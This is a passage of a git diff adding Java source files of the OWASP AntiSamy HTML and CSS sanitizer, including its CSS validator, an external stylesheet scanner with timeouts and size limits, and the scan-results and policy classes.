+ */
+public class CssValidator {
+
+ private final Policy policy;
+
+ /**
+ * Constructs a validator for CSS selectors, conditions and properties based
+ * on the given policy.
+ *
+ * @param policy
+ * the policy file to use in this validator
+ */
+ public CssValidator(Policy policy) {
+ this.policy = policy;
+ }
+
+ /**
+ * Determines whether the given property (both name and value) are valid
+ * according to this validator's policy.
+ *
+ * @param name
+ * the name of the property
+ * @param lu
+ * the value of the property
+ * @return true if this property name/value is valid; false otherwise
+ */
+ public boolean isValidProperty(String name, LexicalUnit lu) {
+ boolean isValid = false;
+ Property property = null;
+
+ if (name != null) {
+ property = policy.getPropertyByName(name.toLowerCase());
+ }
+
+ // if we were able to find the property by name, validate the value
+ if (property != null) {
+
+ // validate all values attached to this property
+ isValid = true;
+ while (lu != null) {
+ String value = lexicalValueToString(lu);
+
+ if (value == null || !validateValue(property, value)) {
+ isValid = false;
+ break;
+ }
+
+ lu = lu.getNextLexicalUnit();
+ }
+ }
+
+ return isValid;
+ }
+
+ /**
+ * Determines whether the given selector name is valid according to this
+ * validator's policy.
+ *
+ * @param selectorName
+ * the name of the selector
+ * @param selector
+ * the object representation of the selector
+ * @param results
+ * the <code>CleanResults</code> object to add any error
+ * messages to
+ * @return true if this selector name is valid; false otherwise
+ */
+ public boolean isValidSelector(String selectorName, Selector selector)
+ throws ScanException {
+
+ // determine correct behavior
+ switch (selector.getSelectorType()) {
+ case Selector.SAC_ANY_NODE_SELECTOR:
+ case Selector.SAC_ELEMENT_NODE_SELECTOR:
+ case Selector.SAC_PSEUDO_ELEMENT_SELECTOR:
+ case Selector.SAC_ROOT_NODE_SELECTOR:
+ // these selectors are the most base selectors
+ return validateSimpleSelector((SimpleSelector) selector);
+ case Selector.SAC_CHILD_SELECTOR:
+ case Selector.SAC_DESCENDANT_SELECTOR:
+ // these are compound selectors - decompose into simple selectors
+ DescendantSelector descSelector = (DescendantSelector) selector;
+ return isValidSelector(selectorName, descSelector
+ .getSimpleSelector())
+ & isValidSelector(selectorName, descSelector
+ .getAncestorSelector());
+ case Selector.SAC_CONDITIONAL_SELECTOR:
+ // this is a compound selector - decompose into simple selectors
+ ConditionalSelector condSelector = (ConditionalSelector) selector;
+ return isValidSelector(selectorName, condSelector
+ .getSimpleSelector())
+ & isValidCondition(selectorName, condSelector
+ .getCondition());
+ case Selector.SAC_DIRECT_ADJACENT_SELECTOR:
+ // this is a compound selector - decompose into simple selectors
+ SiblingSelector sibSelector = (SiblingSelector) selector;
+ return isValidSelector(selectorName, sibSelector
+ .getSiblingSelector())
+ & isValidSelector(selectorName, sibSelector.getSelector());
+ case Selector.SAC_NEGATIVE_SELECTOR:
+ // this is a compound selector with one simple selector
+ return validateSimpleSelector((NegativeSelector) selector);
+ case Selector.SAC_CDATA_SECTION_NODE_SELECTOR:
+ case Selector.SAC_COMMENT_NODE_SELECTOR:
+ case Selector.SAC_PROCESSING_INSTRUCTION_NODE_SELECTOR:
+ case Selector.SAC_TEXT_NODE_SELECTOR:
+ default:
+
+ throw new UnknownSelectorException(HTMLEntityEncoder.htmlEntityEncode(selector.toString()));
+ }
+ }
+
+ /**
+ * Validates a basic selector against the policy
+ *
+ * @param selector
+ * the object representation of the selector
+ * @param results
+ * the <code>CleanResults</code> object to add any error
+ * messages to
+ * @return true if this selector name is valid; false otherwise
+ */
+ private boolean validateSimpleSelector(SimpleSelector selector) {
+ // ensure the name follows the valid pattern and is not blacklisted
+ // by the exclusion pattern.
+ // NOTE: intentionally using non-short-circuited AND operator to
+ // generate all relevant error messages
+
+ String selectorLowerCase = selector.toString().toLowerCase();
+ return policy.getCommonRegularExpressions("cssElementSelector").matches(selectorLowerCase)
+ & !policy.getCommonRegularExpressions("cssElementExclusion").matches(selectorLowerCase);
+ }
+
+ /**
+ * Determines whether the given condition is valid according to this
+ * validator's policy.
+ *
+ * @param selectorName
+ * the name of the selector that contains this condition
+ * @param condition
+ * the object representation of this condition
+ * @param results
+ * the <code>CleanResults</code> object to add any error
+ * messages to
+ * @return true if this condition is valid; false otherwise
+ */
+ public boolean isValidCondition(String selectorName, Condition condition)
+ throws ScanException {
+ switch (condition.getConditionType()) {
+ case Condition.SAC_AND_CONDITION:
+ case Condition.SAC_OR_CONDITION:
+ // these are compound condition - decompose into simple conditions
+ CombinatorCondition comboCondition = (CombinatorCondition) condition;
+ return isValidCondition(selectorName, comboCondition
+ .getFirstCondition())
+ & isValidCondition(selectorName, comboCondition
+ .getSecondCondition());
+ case Condition.SAC_CLASS_CONDITION:
+ // this is a basic class condition; compare condition against
+ // valid pattern and is not blacklisted by exclusion pattern
+
+ return validateCondition((AttributeCondition) condition, policy.getCommonRegularExpressions("cssClassSelector"), policy.getCommonRegularExpressions("cssClassExclusion"));
+ case Condition.SAC_ID_CONDITION:
+ // this is a basic ID condition; compare condition against
+ // valid pattern and is not blacklisted by exclusion pattern
+
+ return validateCondition((AttributeCondition) condition, policy.getCommonRegularExpressions("cssIDSelector"), policy.getCommonRegularExpressions("cssIDExclusion"));
+ case Condition.SAC_PSEUDO_CLASS_CONDITION:
+ // this is a basic psuedo element condition; compare condition
+ // against valid pattern and is not blacklisted by exclusion pattern
+
+ return validateCondition((AttributeCondition) condition, policy.getCommonRegularExpressions("cssPseudoElementSelector"), policy.getCommonRegularExpressions("cssPsuedoElementExclusion"));
+ case Condition.SAC_BEGIN_HYPHEN_ATTRIBUTE_CONDITION:
+ case Condition.SAC_ONE_OF_ATTRIBUTE_CONDITION:
+ case Condition.SAC_ATTRIBUTE_CONDITION:
+ // this is a basic class condition; compare condition against
+ // valid pattern and is not blacklisted by exclusion pattern
+
+ return validateCondition((AttributeCondition) condition, policy.getCommonRegularExpressions("cssAttributeSelector"), policy.getCommonRegularExpressions("cssAttributeExclusion"));
+ case Condition.SAC_NEGATIVE_CONDITION:
+ // this is a compound condition; decompose to simple condition
+ return isValidCondition(selectorName,
+ ((NegativeCondition) condition).getCondition());
+ case Condition.SAC_ONLY_CHILD_CONDITION:
+ case Condition.SAC_ONLY_TYPE_CONDITION:
+ // :only-child and :only-of-type are constants
+ return true;
+ case Condition.SAC_POSITIONAL_CONDITION:
+ case Condition.SAC_CONTENT_CONDITION:
+ case Condition.SAC_LANG_CONDITION:
+ default:
+ throw new UnknownSelectorException(HTMLEntityEncoder.htmlEntityEncode(selectorName));
+ }
+ }
+
+ /**
+ * Validates a basic condition against the white list pattern and the
+ * blacklist pattern
+ *
+ * @param condition
+ * the object representation of the condition
+ * @param pattern
+ * the positive pattern of valid conditions
+ * @param exclusionPattern
+ * the negative pattern of excluded conditions
+ * @param results
+ * the <code>CleanResults</code> object to add any error
+ * messages to
+ * @return true if this selector name is valid; false otherwise
+ */
+ private boolean validateCondition(AttributeCondition condition,
+ AntiSamyPattern pattern, AntiSamyPattern exclusionPattern) {
+ // check that the name of the condition matches valid pattern and does
+ // not match exclusion pattern
+ // NOTE: intentionally using non-short-circuited AND operator to
+ // generate all relevant error messages
+ String otherLower = condition.toString().toLowerCase();
+ return pattern.matches(otherLower) & !exclusionPattern.matches(otherLower);
+ }
+
+ /**
+ * Determines whether the given property value is valid according to this
+ * validator's policy.
+ *
+ * @param property
+ * the object representation of the property and its associated
+ * policy
+ * @param value
+ * the string representation of the value
+ * @return true if the property is valid; false otherwise
+ */
+ private boolean validateValue(Property property, String value) {
+ boolean isValid = false;
+
+ // normalize the value to lowercase
+ value = value.toLowerCase();
+
+ // check if the value matches any of the allowed literal values
+ Iterator allowedValues = property.getAllowedValues().iterator();
+ while (allowedValues.hasNext() && !isValid) {
+ String allowedValue = (String) allowedValues.next();
+
+ if (allowedValue != null && allowedValue.equals(value)) {
+ isValid = true;
+ }
+ }
+
+ // check if the value matches any of the allowed regular expressions
+ Iterator allowedRegexps = property.getAllowedRegExp().iterator();
+ while (allowedRegexps.hasNext() && !isValid) {
+ Pattern pattern = (Pattern) allowedRegexps.next();
+
+ if (pattern != null && pattern.matcher(value).matches()) {
+ isValid = true;
+ }
+ }
+
+ // check if the value matches any of the allowed shorthands
+ Iterator shorthandRefs = property.getShorthandRefs().iterator();
+ while (shorthandRefs.hasNext() && !isValid) {
+ String shorthandRef = (String) shorthandRefs.next();
+ Property shorthand = policy.getPropertyByName(shorthandRef);
+
+ if (shorthand != null) {
+ isValid = validateValue(shorthand, value);
+ }
+ }
+
+ return isValid;
+ }
+
+ /**
+ * Converts the given lexical unit to a <code>String</code>
+ * representation. This method does not perform any validation - it is meant
+ * to be used in conjunction with the validator/logging methods.
+ *
+ * @param lu
+ * the lexical unit to convert
+ * @return a <code>String</code> representation of the given lexical unit
+ */
+ public String lexicalValueToString(LexicalUnit lu) {
+ switch (lu.getLexicalUnitType()) {
+ case LexicalUnit.SAC_PERCENTAGE:
+ case LexicalUnit.SAC_DIMENSION:
+ case LexicalUnit.SAC_EM:
+ case LexicalUnit.SAC_EX:
+ case LexicalUnit.SAC_PIXEL:
+ case LexicalUnit.SAC_INCH:
+ case LexicalUnit.SAC_CENTIMETER:
+ case LexicalUnit.SAC_MILLIMETER:
+ case LexicalUnit.SAC_POINT:
+ case LexicalUnit.SAC_PICA:
+ case LexicalUnit.SAC_DEGREE:
+ case LexicalUnit.SAC_GRADIAN:
+ case LexicalUnit.SAC_RADIAN:
+ case LexicalUnit.SAC_MILLISECOND:
+ case LexicalUnit.SAC_SECOND:
+ case LexicalUnit.SAC_HERTZ:
+ case LexicalUnit.SAC_KILOHERTZ:
+ // these are all measurements
+ return lu.getFloatValue() + lu.getDimensionUnitText();
+ case LexicalUnit.SAC_INTEGER:
+ // just a number
+ return String.valueOf(lu.getIntegerValue());
+ case LexicalUnit.SAC_REAL:
+ // just a number
+ return String.valueOf(lu.getFloatValue());
+ case LexicalUnit.SAC_STRING_VALUE:
+ case LexicalUnit.SAC_IDENT:
+ // just a string/identifier
+ String stringValue = lu.getStringValue();
+ if(stringValue.indexOf(" ") != -1)
+ stringValue = "\""+stringValue+"\"";
+ return stringValue;
+ case LexicalUnit.SAC_URI:
+ // this is a URL
+ return "url(" + lu.getStringValue() + ")";
+ case LexicalUnit.SAC_RGBCOLOR:
+ // this is a rgb encoded color
+ StringBuffer sb = new StringBuffer("rgb(");
+ LexicalUnit param = lu.getParameters();
+ sb.append(param.getIntegerValue()); // R value
+ sb.append(',');
+ param = param.getNextLexicalUnit(); // comma
+ param = param.getNextLexicalUnit(); // G value
+ sb.append(param.getIntegerValue());
+ sb.append(',');
+ param = param.getNextLexicalUnit(); // comma
+ param = param.getNextLexicalUnit(); // B value
+ sb.append(param.getIntegerValue());
+ sb.append(')');
+
+ return sb.toString();
+ case LexicalUnit.SAC_INHERIT:
+ // constant
+ return "inherit";
+ case LexicalUnit.SAC_OPERATOR_COMMA:
+ return ",";
+ case LexicalUnit.SAC_ATTR:
+ case LexicalUnit.SAC_COUNTER_FUNCTION:
+ case LexicalUnit.SAC_COUNTERS_FUNCTION:
+ case LexicalUnit.SAC_FUNCTION:
+ case LexicalUnit.SAC_RECT_FUNCTION:
+ case LexicalUnit.SAC_SUB_EXPRESSION:
+ case LexicalUnit.SAC_UNICODERANGE:
+ default:
+ // these are properties that shouldn't be necessary for most run
+ // of the mill HTML/CSS
+ return null;
+ }
+ }
+}
diff --git a/src/main/java/org/owasp/validator/css/ExternalCssScanner.java b/src/main/java/org/owasp/validator/css/ExternalCssScanner.java
new file mode 100644
index 0000000..2c79776
--- /dev/null
+++ b/src/main/java/org/owasp/validator/css/ExternalCssScanner.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * - Redistributions of source code must retain the above copyright notice,
+ * this list of conditions and the following disclaimer.
+ * - Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ * - Neither the name of OWASP nor the names of its contributors may be used to
+ * endorse or promote products derived from this software without specific
+ * prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+package org.owasp.validator.css;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.LinkedList;
+import java.util.ResourceBundle;
+
+import org.apache.commons.httpclient.HttpClient;
+import org.apache.commons.httpclient.HttpContentTooLargeException;
+import org.apache.commons.httpclient.methods.GetMethod;
+import org.apache.commons.httpclient.params.HttpConnectionManagerParams;
+import org.owasp.validator.html.InternalPolicy;
+import org.owasp.validator.html.Policy;
+import org.owasp.validator.html.ScanException;
+import org.owasp.validator.html.util.ErrorMessageUtil;
+import org.owasp.validator.html.util.HTMLEntityEncoder;
+import org.w3c.css.sac.InputSource;
+
+public class ExternalCssScanner extends CssScanner {
+
+ public ExternalCssScanner(InternalPolicy policy, ResourceBundle messages) {
+ super(policy, messages);
+ }
+
+ /**
+ * Parses through a <code>LinkedList</code> of imported stylesheet
+ * URIs, this method parses through those stylesheets and validates them
+ *
+ * @param stylesheets
+ * the <code>LinkedList</code> of stylesheet URIs to
+ * parse
+ * @param handler
+ * the <code>CssHandler</code> to use for parsing
+ * @param errorMessages
+ * the list of error messages to append to
+ * @param sizeLimit
+ * the limit on the total size in bites of any imported
+ * stylesheets
+ * @throws ScanException
+ * if an error occurs during scanning
+ */
+ protected void parseImportedStylesheets(LinkedList stylesheets, CssHandler handler,
+ ArrayList errorMessages, int sizeLimit) throws ScanException {
+
+ int importedStylesheets = 0;
+
+ // if stylesheets were imported by the inline style declaration,
+ // continue parsing the nested styles. Note this only happens
+ // if CSS importing was enabled in the policy file
+ if (!stylesheets.isEmpty()) {
+ HttpClient httpClient = new HttpClient();
+
+ // Ensure that we have appropriate timeout values so we don't
+ // get DoSed waiting for returns
+ HttpConnectionManagerParams params = httpClient
+ .getHttpConnectionManager().getParams();
+
+ int timeout = DEFAULT_TIMEOUT;
+
+ try {
+ timeout = Integer.parseInt(policy
+ .getDirective(Policy.CONNECTION_TIMEOUT));
+ } catch (NumberFormatException nfe) {
+ }
+
+ params.setConnectionTimeout(timeout);
+ params.setSoTimeout(timeout);
+ httpClient.getHttpConnectionManager().setParams(params);
+
+ int allowedImports = Policy.DEFAULT_MAX_STYLESHEET_IMPORTS;
+ try {
+ allowedImports = Integer.parseInt(policy
+ .getDirective("maxStyleSheetImports"));
+ } catch (NumberFormatException nfe) {
+ }
+
+ while (!stylesheets.isEmpty()) {
+
+ URI stylesheetUri = (URI) stylesheets.removeFirst();
+
+ if (++importedStylesheets > allowedImports) {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_CSS_IMPORT_EXCEEDED,
+ new Object[] {
+ HTMLEntityEncoder
+ .htmlEntityEncode(stylesheetUri
+ .toString()),
+ String.valueOf(allowedImports) }));
+ continue;
+ }
+
+ GetMethod stylesheetRequest = new GetMethod(stylesheetUri
+ .toString());
+
+ byte[] stylesheet = null;
+ try {
+ // pull down stylesheet, observing size limit
+ httpClient.executeMethod(stylesheetRequest);
+ stylesheet = stylesheetRequest.getResponseBody(sizeLimit);
+ } catch (HttpContentTooLargeException hctle) {
+ errorMessages
+ .add(ErrorMessageUtil
+ .getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_CSS_IMPORT_INPUT_SIZE,
+ new Object[] {
+ HTMLEntityEncoder
+ .htmlEntityEncode(stylesheetUri
+ .toString()),
+ String.valueOf(policy
+ .getMaxInputSize()) }));
+ } catch (IOException ioe) {
+ errorMessages.add(ErrorMessageUtil
+ .getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_CSS_IMPORT_FAILURE,
+ new Object[] { HTMLEntityEncoder
+ .htmlEntityEncode(stylesheetUri
+ .toString()) }));
+ } finally {
+ stylesheetRequest.releaseConnection();
+ }
+
+ if (stylesheet != null) {
+ // decrease the size limit based on the
+ sizeLimit -= stylesheet.length;
+
+ try {
+ InputSource nextStyleSheet = new InputSource(
+ new InputStreamReader(new ByteArrayInputStream(
+ stylesheet)));
+ parser.parseStyleSheet(nextStyleSheet);
+
+ } catch (IOException ioe) {
+ throw new ScanException(ioe);
+ }
+
+ }
+ }
+ }
+ }
+
+}
diff --git a/src/main/java/org/owasp/validator/css/UnknownSelectorException.java b/src/main/java/org/owasp/validator/css/UnknownSelectorException.java
new file mode 100644
index 0000000..e127c72
--- /dev/null
+++ b/src/main/java/org/owasp/validator/css/UnknownSelectorException.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+package org.owasp.validator.css;
+
+/**
+ *
+ * This exception gets thrown when there is an unrecognized Selector type parsing
+ * the tainted CSS.
+ *
+ * @author Jason Li
+ *
+ */
+import org.owasp.validator.html.ScanException;
+
+public class UnknownSelectorException extends ScanException {
+
+ private final String selectorName;
+
+ public UnknownSelectorException(String selectorName) {
+ super("Unknown selector " + selectorName);
+
+ this.selectorName = selectorName;
+ }
+
+ /**
+ * @return the selectorName
+ */
+ public String getSelectorName() {
+ return selectorName;
+ }
+}
diff --git a/src/main/java/org/owasp/validator/html/AntiSamy.java b/src/main/java/org/owasp/validator/html/AntiSamy.java
new file mode 100644
index 0000000..a51c169
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/AntiSamy.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html;
+
+import org.owasp.validator.html.scan.AntiSamyDOMScanner;
+import org.owasp.validator.html.scan.AntiSamySAXScanner;
+
+import java.io.File;
+
+/**
+ *
+ * This is the only class from which the outside world should be calling. The
+ * <code>scan()</code> method holds the meat and potatoes of AntiSamy. The file
+ * contains a number of ways for <code>scan()</code>'ing depending on the
+ * accessibility of the policy file.
+ *
+ * @author Arshan Dabirsiaghi
+ *
+ */
+
+public class AntiSamy {
+
+ public static int DOM = 0;
+ public static int SAX = 1;
+
+ private Policy policy = null;
+
+ public AntiSamy() {
+ }
+
+ public AntiSamy(Policy policy) {
+ this.policy = policy;
+ }
+
+ /**
+ * The meat and potatoes. The <code>scan()</code> family of methods are the
+ * only methods the outside world should be calling to invoke AntiSamy.
+ *
+ * @param taintedHTML
+ * Untrusted HTML which may contain malicious code.
+ * @return A <code>CleanResults</code> object which contains information
+ * about the scan (including the results).
+ * @throws ScanException When there is a problem encountered
+ * while scanning the HTML.
+ * @throws PolicyException When there is a problem reading the
+ * policy file.
+ *
+ */
+
+ public CleanResults scan(String taintedHTML) throws ScanException, PolicyException {
+
+ if (policy == null) {
+ throw new PolicyException("No policy loaded");
+ }
+
+ return this.scan(taintedHTML, this.policy, SAX);
+ }
+
+ public CleanResults scan(String taintedHTML, int scanType) throws ScanException, PolicyException {
+
+ if (policy == null) {
+ throw new PolicyException("No policy loaded");
+ }
+ return this.scan(taintedHTML, this.policy, scanType);
+ }
+
+ /**
+ * This method wraps <code>scan()</code> using the Policy object passed in.
+ */
+ public CleanResults scan(String taintedHTML, Policy policy) throws ScanException, PolicyException {
+ return new AntiSamyDOMScanner(policy).scan(taintedHTML);
+ }
+
+ public CleanResults scan(String taintedHTML, Policy policy, int scanType) throws ScanException, PolicyException {
+
+ if (scanType == DOM) {
+ return new AntiSamyDOMScanner(policy).scan(taintedHTML);
+ } else {
+ return new AntiSamySAXScanner(policy).scan(taintedHTML);
+ }
+ }
+
+ /**
+ * This method wraps <code>scan()</code> using the Policy object passed in.
+ */
+ public CleanResults scan(String taintedHTML, String filename) throws ScanException, PolicyException {
+
+ Policy policy = Policy.getInstance(filename);
+
+ return this.scan(taintedHTML, policy);
+ }
+
+ /**
+ * This method wraps <code>scan()</code> using the policy File object passed
+ * in.
+ */
+ public CleanResults scan(String taintedHTML, File policyFile) throws ScanException, PolicyException {
+
+ Policy policy = Policy.getInstance(policyFile);
+
+ return this.scan(taintedHTML, policy);
+ }
+
+}
diff --git a/src/main/java/org/owasp/validator/html/CleanResults.java b/src/main/java/org/owasp/validator/html/CleanResults.java
new file mode 100644
index 0000000..55b78f4
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/CleanResults.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html;
+
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.List;
+import java.util.concurrent.Callable;
+
+import org.w3c.dom.DocumentFragment;
+
+/**
+ * This class contains the results of a scan.
+ *
+ * The list of error messages (<code>errorMessages</code>) will let the user
+ * know what, if any HTML errors existed, and what, if any, security or
+ * validation-related errors existed, and what was done about them.
+ *
+ * @author Arshan Dabirsiaghi
+ *
+ */
+
+public class CleanResults {
+
+ private List<String> errorMessages = new ArrayList<String>();
+ private Callable<String> cleanHTML;
+ private long elapsedScan;
+
+ private DocumentFragment cleanXMLDocumentFragment;
+
+ /*
+ * For extension.
+ */
+ public CleanResults() {
+
+ }
+
+ public CleanResults(long startOfScan, final String cleanHTML,
+ DocumentFragment XMLDocumentFragment, List<String> errorMessages) {
+ this.elapsedScan = System.currentTimeMillis() - startOfScan;
+ this.cleanXMLDocumentFragment = XMLDocumentFragment;
+ this.cleanHTML = new Callable<String>() {
+ public String call() throws Exception {
+ return cleanHTML;
+ }
+ };
+ this.errorMessages = errorMessages;
+ }
+
+ public CleanResults(long startOfScan, Callable<String> cleanHTML,
+ DocumentFragment XMLDocumentFragment, List<String> errorMessages) {
+ this.elapsedScan = System.currentTimeMillis() - startOfScan;
+ this.cleanXMLDocumentFragment = XMLDocumentFragment;
+ this.cleanHTML = cleanHTML;
+ this.errorMessages = errorMessages;
+ }
+
+ public DocumentFragment getCleanXMLDocumentFragment() {
+ return cleanXMLDocumentFragment;
+ }
+
+ /**
+ * Return the filtered HTML as a String.
+ *
+ * @return A String object which contains the serialized, safe HTML.
+ */
+ public String getCleanHTML() {
+ try {
+ return cleanHTML.call();
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ /**
+ * Return a list of error messages.
+ *
+ * @return An ArrayList object which contain the error messages after a
+ * scan.
+ */
+ public List<String> getErrorMessages() {
+ return errorMessages;
+ }
+
+ /**
+ * Return the time elapsed during the scan.
+ *
+ * @return A double primitive indicating the amount of time elapsed between
+ * the beginning and end of the scan in seconds.
+ */
+ public double getScanTime() {
+ return (elapsedScan) / 1000D;
+ }
+
+ /**
+ * Return the number of errors encountered during filtering.
+ */
+ public int getNumberOfErrors() {
+ return errorMessages.size();
+ }
+
+}
diff --git a/src/main/java/org/owasp/validator/html/InternalPolicy.java b/src/main/java/org/owasp/validator/html/InternalPolicy.java
new file mode 100644
index 0000000..1520006
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/InternalPolicy.java
@@ -0,0 +1,152 @@
+package org.owasp.validator.html;
+
+import org.owasp.validator.html.model.Tag;
+
+import java.net.URL;
+import java.util.Map;
+
+/**
+ * Contains a bunch of optimized lookups over the regular Policy Class. For internal use only.
+ *
+ * Not part of any public api and may explode or self destruct at any given moment, preferably both.
+ *
+ * @author Kristian Rosenvold
+ */
+public class InternalPolicy extends Policy {
+ private final int maxInputSize;
+ private final boolean isNofollowAnchors;
+ private final boolean isValidateParamAsEmbed;
+ private final boolean formatOutput;
+ private final boolean preserveSpace;
+ private final boolean omitXmlDeclaration;
+ private final boolean omitDoctypeDeclaration;
+ private final boolean entityEncodeIntlCharacters;
+ private final boolean useXhtml;
+ private final Tag embedTag;
+ private final Tag styleTag;
+ private final String onUnknownTag;
+ private final boolean preserveComments;
+ private final boolean embedStyleSheets;
+ private final boolean isEncodeUnknownTag;
+
+
+ protected InternalPolicy(URL baseUrl, ParseContext parseContext) throws PolicyException {
+ super(parseContext);
+ this.maxInputSize = determineMaxInputSize();
+ this.isNofollowAnchors = isTrue(Policy.ANCHORS_NOFOLLOW);
+ this.isValidateParamAsEmbed = isTrue(Policy.VALIDATE_PARAM_AS_EMBED);
